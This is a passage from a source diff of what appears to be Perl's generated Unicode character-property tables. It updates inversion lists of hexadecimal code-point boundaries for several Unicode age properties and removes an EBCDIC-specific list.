+	0x275F,
+	0x2761,
+	0x2768,
+	0x2776,
+	0x2795,
+	0x2798,
+	0x27B0,
+	0x27B1,
+	0x27BF,
+	0x3000,
+	0x3038,
+	0x303F,
+	0x3040,
+	0x3041,
+	0x3095,
+	0x3099,
+	0x309F,
+	0x30A1,
+	0x30FF,
+	0x3105,
+	0x312D,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31A0,
+	0x3200,
+	0x321D,
+	0x3220,
+	0x3244,
+	0x3260,
+	0x327C,
+	0x327F,
+	0x32B1,
+	0x32C0,
+	0x32CC,
+	0x32D0,
+	0x32FF,
+	0x3300,
+	0x3377,
+	0x337B,
+	0x33DE,
+	0x33E0,
+	0x33FF,
+	0x4E00,
+	0x9FA6,
+	0xE000,
+	0xFA2E,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1E,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE20,
+	0xFE24,
+	0xFE30,
+	0xFE45,
+	0xFE49,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFF5F,
+	0xFF61,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFFD,
+	0x10000
+};
+
+static const UV PL_IN__10_invlist[] = { /* for all charsets */
+	1318,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
 	0x378,
 	0x37A,
 	0x380,
@@ -63499,6 +241044,8 @@
 	0x85C,
 	0x85E,
 	0x85F,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
@@ -63530,7 +241077,7 @@
 	0x9DF,
 	0x9E4,
 	0x9E6,
-	0x9FC,
+	0x9FE,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -63590,7 +241137,7 @@
 	0xAE6,
 	0xAF2,
 	0xAF9,
-	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -63703,7 +241250,7 @@
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -63710,8 +241257,6 @@
 	0xD0E,
 	0xD11,
 	0xD12,
-	0xD3B,
-	0xD3D,
 	0xD45,
 	0xD46,
 	0xD49,
@@ -63924,11 +241469,9 @@
 	0x1CC0,
 	0x1CC8,
 	0x1CD0,
-	0x1CF7,
-	0x1CF8,
 	0x1CFA,
 	0x1D00,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
 	0x1F16,
 	0x1F18,
@@ -63970,14 +241513,12 @@
 	0x2090,
 	0x209D,
 	0x20A0,
-	0x20BF,
+	0x20C0,
 	0x20D0,
 	0x20F1,
 	0x2100,
 	0x218C,
 	0x2190,
-	0x23FF,
-	0x2400,
 	0x2427,
 	0x2440,
 	0x244B,
@@ -63990,7 +241531,7 @@
 	0x2BBD,
 	0x2BC9,
 	0x2BCA,
-	0x2BD2,
+	0x2BD3,
 	0x2BEC,
 	0x2BF0,
 	0x2C00,
@@ -64028,7 +241569,7 @@
 	0x2DD8,
 	0x2DDF,
 	0x2DE0,
-	0x2E45,
+	0x2E4A,
 	0x2E80,
 	0x2E9A,
 	0x2E9B,
@@ -64044,7 +241585,7 @@
 	0x3099,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x3190,
@@ -64058,7 +241599,7 @@
 	0x3300,
 	0x4DB6,
 	0x4DC0,
-	0x9FD6,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA490,
@@ -64151,7 +241692,7 @@
 	0xFD90,
 	0xFD92,
 	0xFDC8,
-	0xFDF0,
+	0xFDD0,
 	0xFDFE,
 	0xFE00,
 	0xFE1A,
@@ -64182,8 +241723,6 @@
 	0xFFE8,
 	0xFFEF,
 	0xFFF9,
-	0xFFFE,
-	0x10000,
 	0x1000C,
 	0x1000D,
 	0x10027,
@@ -64217,7 +241756,7 @@
 	0x102FC,
 	0x10300,
 	0x10324,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
 	0x1037B,
@@ -64425,6 +241964,14 @@
 	0x118F3,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
@@ -64441,6 +241988,20 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -64482,13 +242043,15 @@
 	0x16F8F,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -64673,12 +242236,14 @@
 	0x1F249,
 	0x1F250,
 	0x1F252,
+	0x1F260,
+	0x1F266,
 	0x1F300,
-	0x1F6D3,
+	0x1F6D5,
 	0x1F6E0,
 	0x1F6ED,
 	0x1F6F0,
-	0x1F6F7,
+	0x1F6F9,
 	0x1F700,
 	0x1F774,
 	0x1F780,
@@ -64693,23 +242258,21 @@
 	0x1F888,
 	0x1F890,
 	0x1F8AE,
+	0x1F900,
+	0x1F90C,
 	0x1F910,
-	0x1F91F,
-	0x1F920,
-	0x1F928,
-	0x1F930,
-	0x1F931,
-	0x1F933,
 	0x1F93F,
 	0x1F940,
-	0x1F94C,
+	0x1F94D,
 	0x1F950,
-	0x1F95F,
+	0x1F96C,
 	0x1F980,
-	0x1F992,
+	0x1F998,
 	0x1F9C0,
 	0x1F9C1,
-	0x20000,
+	0x1F9D0,
+	0x1F9E7,
+	0x1FFFE,
 	0x2A6D7,
 	0x2A700,
 	0x2B735,
@@ -64717,8 +242280,34 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
 	0x2FA1E,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
 	0xE0001,
 	0xE0002,
 	0xE0020,
@@ -64725,79 +242314,36 @@
 	0xE0080,
 	0xE0100,
 	0xE01F0,
-	0xF0000,
-	0xFFFFE,
-	0x100000,
-	0x10FFFE
+	0xEFFFE,
+	0x110000
 };
 
-static const UV Cased_invlist[] = { /* for EBCDIC 037 */
-	293,	/* Number of elements */
+static const UV PL_IN__2_invlist[] = { /* for all charsets */
+	624,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	1,	/* 0 if the list starts at 0;
+	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x42,
-	0x4A,
-	0x51,
-	0x5A,
-	0x62,
-	0x6A,
-	0x70,
-	0x79,
-	0x80,
-	0x8A,
-	0x8C,
-	0x8F,
-	0x91,
-	0x9D,
-	0x9E,
-	0x9F,
-	0xA0,
-	0xA1,
-	0xA2,
-	0xAA,
-	0xAC,
-	0xAF,
-	0xC1,
-	0xCA,
-	0xCB,
-	0xD0,
-	0xD1,
-	0xDA,
-	0xDB,
-	0xE0,
-	0xE2,
-	0xEA,
-	0xEB,
-	0xF0,
-	0xFB,
-	0xFF,
-	0x100,
-	0x1BB,
-	0x1BC,
-	0x1C0,
-	0x1C4,
-	0x294,
-	0x295,
-	0x2B9,
-	0x2C0,
-	0x2C2,
+	0x1F6,
+	0x1FA,
+	0x218,
+	0x250,
+	0x2A9,
+	0x2B0,
+	0x2DF,
 	0x2E0,
-	0x2E5,
-	0x345,
+	0x2EA,
+	0x300,
 	0x346,
-	0x370,
+	0x360,
+	0x362,
 	0x374,
 	0x376,
-	0x378,
 	0x37A,
+	0x37B,
 	0x37E,
 	0x37F,
-	0x380,
-	0x386,
-	0x387,
-	0x388,
+	0x384,
 	0x38B,
 	0x38C,
 	0x38D,
@@ -64804,30 +242350,9609 @@
 	0x38E,
 	0x3A2,
 	0x3A3,
+	0x3CF,
+	0x3D0,
+	0x3D7,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3F4,
+	0x401,
+	0x40D,
+	0x40E,
+	0x450,
+	0x451,
+	0x45D,
+	0x45E,
+	0x487,
+	0x490,
+	0x4C5,
+	0x4C7,
+	0x4C9,
+	0x4CB,
+	0x4CD,
+	0x4D0,
+	0x4EC,
+	0x4EE,
+	0x4F6,
+	0x4F8,
+	0x4FA,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58A,
+	0x591,
+	0x5A2,
+	0x5A3,
+	0x5BA,
+	0x5BB,
+	0x5C5,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x60C,
+	0x60D,
+	0x61B,
+	0x61C,
+	0x61F,
+	0x620,
+	0x621,
+	0x63B,
+	0x640,
+	0x653,
+	0x660,
+	0x66E,
+	0x670,
+	0x6B8,
+	0x6BA,
+	0x6BF,
+	0x6C0,
+	0x6CF,
+	0x6D0,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x901,
+	0x904,
+	0x905,
+	0x93A,
+	0x93C,
+	0x94E,
+	0x950,
+	0x955,
+	0x958,
+	0x971,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FB,
+	0xA02,
+	0xA03,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA75,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8C,
+	0xA8D,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE1,
+	0xAE6,
+	0xAF0,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB36,
+	0xB3A,
+	0xB3C,
+	0xB44,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB66,
+	0xB71,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBB6,
+	0xBB7,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xBE7,
+	0xBF3,
+	0xC01,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC34,
+	0xC35,
+	0xC3A,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC60,
+	0xC62,
+	0xC66,
+	0xC70,
+	0xC82,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCE6,
+	0xCF0,
+	0xD02,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD29,
+	0xD2A,
+	0xD3A,
+	0xD3E,
+	0xD44,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD60,
+	0xD62,
+	0xD66,
+	0xD70,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEDE,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6A,
+	0xF71,
+	0xF8C,
+	0xF90,
+	0xF96,
+	0xF97,
+	0xF98,
+	0xF99,
+	0xFAE,
+	0xFB1,
+	0xFB8,
+	0xFB9,
+	0xFBA,
+	0x10A0,
+	0x10C6,
+	0x10D0,
+	0x10F7,
+	0x10FB,
+	0x10FC,
+	0x1100,
+	0x115A,
+	0x115F,
+	0x11A3,
+	0x11A8,
+	0x11FA,
+	0x1E00,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x202F,
+	0x2030,
+	0x2047,
+	0x206A,
+	0x2071,
+	0x2074,
+	0x208F,
+	0x20A0,
+	0x20AC,
+	0x20D0,
+	0x20E2,
+	0x2100,
+	0x2139,
+	0x2153,
+	0x2183,
+	0x2190,
+	0x21EB,
+	0x2200,
+	0x22F2,
+	0x2300,
+	0x2301,
+	0x2302,
+	0x237B,
+	0x2400,
+	0x2425,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x24EB,
+	0x2500,
+	0x2596,
+	0x25A0,
+	0x25F0,
+	0x2600,
+	0x2614,
+	0x261A,
+	0x2670,
+	0x2701,
+	0x2705,
+	0x2706,
+	0x270A,
+	0x270C,
+	0x2728,
+	0x2729,
+	0x274C,
+	0x274D,
+	0x274E,
+	0x274F,
+	0x2753,
+	0x2756,
+	0x2757,
+	0x2758,
+	0x275F,
+	0x2761,
+	0x2768,
+	0x2776,
+	0x2795,
+	0x2798,
+	0x27B0,
+	0x27B1,
+	0x27BF,
+	0x3000,
+	0x3038,
+	0x303F,
+	0x3040,
+	0x3041,
+	0x3095,
+	0x3099,
+	0x309F,
+	0x30A1,
+	0x30FF,
+	0x3105,
+	0x312D,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31A0,
+	0x3200,
+	0x321D,
+	0x3220,
+	0x3244,
+	0x3260,
+	0x327C,
+	0x327F,
+	0x32B1,
+	0x32C0,
+	0x32CC,
+	0x32D0,
+	0x32FF,
+	0x3300,
+	0x3377,
+	0x337B,
+	0x33DE,
+	0x33E0,
+	0x33FF,
+	0x4E00,
+	0x9FA6,
+	0xAC00,
+	0xD7A4,
+	0xD800,
+	0xFA2E,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1E,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE20,
+	0xFE24,
+	0xFE30,
+	0xFE45,
+	0xFE49,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFF5F,
+	0xFF61,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFFD,
+	0x10000,
+	0x1FFFE,
+	0x20000,
+	0x2FFFE,
+	0x30000,
+	0x3FFFE,
+	0x40000,
+	0x4FFFE,
+	0x50000,
+	0x5FFFE,
+	0x60000,
+	0x6FFFE,
+	0x70000,
+	0x7FFFE,
+	0x80000,
+	0x8FFFE,
+	0x90000,
+	0x9FFFE,
+	0xA0000,
+	0xAFFFE,
+	0xB0000,
+	0xBFFFE,
+	0xC0000,
+	0xCFFFE,
+	0xD0000,
+	0xDFFFE,
+	0xE0000,
+	0xEFFFE,
+	0x110000
+};
+
+static const UV PL_IN__2_DOT_1_invlist[] = { /* for all charsets */
+	624,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F6,
+	0x1FA,
+	0x218,
+	0x250,
+	0x2A9,
+	0x2B0,
+	0x2DF,
+	0x2E0,
+	0x2EA,
+	0x300,
+	0x346,
+	0x360,
+	0x362,
+	0x374,
+	0x376,
+	0x37A,
+	0x37B,
+	0x37E,
+	0x37F,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3CF,
+	0x3D0,
+	0x3D7,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3F4,
+	0x401,
+	0x40D,
+	0x40E,
+	0x450,
+	0x451,
+	0x45D,
+	0x45E,
+	0x487,
+	0x490,
+	0x4C5,
+	0x4C7,
+	0x4C9,
+	0x4CB,
+	0x4CD,
+	0x4D0,
+	0x4EC,
+	0x4EE,
+	0x4F6,
+	0x4F8,
+	0x4FA,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58A,
+	0x591,
+	0x5A2,
+	0x5A3,
+	0x5BA,
+	0x5BB,
+	0x5C5,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x60C,
+	0x60D,
+	0x61B,
+	0x61C,
+	0x61F,
+	0x620,
+	0x621,
+	0x63B,
+	0x640,
+	0x653,
+	0x660,
+	0x66E,
+	0x670,
+	0x6B8,
+	0x6BA,
+	0x6BF,
+	0x6C0,
+	0x6CF,
+	0x6D0,
+	0x6EE,
+	0x6F0,
+	0x6FA,
+	0x901,
+	0x904,
+	0x905,
+	0x93A,
+	0x93C,
+	0x94E,
+	0x950,
+	0x955,
+	0x958,
+	0x971,
+	0x981,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9BD,
+	0x9BE,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CE,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FB,
+	0xA02,
+	0xA03,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA75,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8C,
+	0xA8D,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE1,
+	0xAE6,
+	0xAF0,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB36,
+	0xB3A,
+	0xB3C,
+	0xB44,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB62,
+	0xB66,
+	0xB71,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBB6,
+	0xBB7,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD7,
+	0xBD8,
+	0xBE7,
+	0xBF3,
+	0xC01,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC34,
+	0xC35,
+	0xC3A,
+	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC60,
+	0xC62,
+	0xC66,
+	0xC70,
+	0xC82,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBE,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE2,
+	0xCE6,
+	0xCF0,
+	0xD02,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD29,
+	0xD2A,
+	0xD3A,
+	0xD3E,
+	0xD44,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4E,
+	0xD57,
+	0xD58,
+	0xD60,
+	0xD62,
+	0xD66,
+	0xD70,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEDE,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6A,
+	0xF71,
+	0xF8C,
+	0xF90,
+	0xF96,
+	0xF97,
+	0xF98,
+	0xF99,
+	0xFAE,
+	0xFB1,
+	0xFB8,
+	0xFB9,
+	0xFBA,
+	0x10A0,
+	0x10C6,
+	0x10D0,
+	0x10F7,
+	0x10FB,
+	0x10FC,
+	0x1100,
+	0x115A,
+	0x115F,
+	0x11A3,
+	0x11A8,
+	0x11FA,
+	0x1E00,
+	0x1E9C,
+	0x1EA0,
+	0x1EFA,
+	0x1F00,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x202F,
+	0x2030,
+	0x2047,
+	0x206A,
+	0x2071,
+	0x2074,
+	0x208F,
+	0x20A0,
+	0x20AD,
+	0x20D0,
+	0x20E2,
+	0x2100,
+	0x2139,
+	0x2153,
+	0x2183,
+	0x2190,
+	0x21EB,
+	0x2200,
+	0x22F2,
+	0x2300,
+	0x2301,
+	0x2302,
+	0x237B,
+	0x2400,
+	0x2425,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x24EB,
+	0x2500,
+	0x2596,
+	0x25A0,
+	0x25F0,
+	0x2600,
+	0x2614,
+	0x261A,
+	0x2670,
+	0x2701,
+	0x2705,
+	0x2706,
+	0x270A,
+	0x270C,
+	0x2728,
+	0x2729,
+	0x274C,
+	0x274D,
+	0x274E,
+	0x274F,
+	0x2753,
+	0x2756,
+	0x2757,
+	0x2758,
+	0x275F,
+	0x2761,
+	0x2768,
+	0x2776,
+	0x2795,
+	0x2798,
+	0x27B0,
+	0x27B1,
+	0x27BF,
+	0x3000,
+	0x3038,
+	0x303F,
+	0x3040,
+	0x3041,
+	0x3095,
+	0x3099,
+	0x309F,
+	0x30A1,
+	0x30FF,
+	0x3105,
+	0x312D,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31A0,
+	0x3200,
+	0x321D,
+	0x3220,
+	0x3244,
+	0x3260,
+	0x327C,
+	0x327F,
+	0x32B1,
+	0x32C0,
+	0x32CC,
+	0x32D0,
+	0x32FF,
+	0x3300,
+	0x3377,
+	0x337B,
+	0x33DE,
+	0x33E0,
+	0x33FF,
+	0x4E00,
+	0x9FA6,
+	0xAC00,
+	0xD7A4,
+	0xD800,
+	0xFA2E,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1E,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBB2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFC,
+	0xFE20,
+	0xFE24,
+	0xFE30,
+	0xFE45,
+	0xFE49,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE73,
+	0xFE74,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
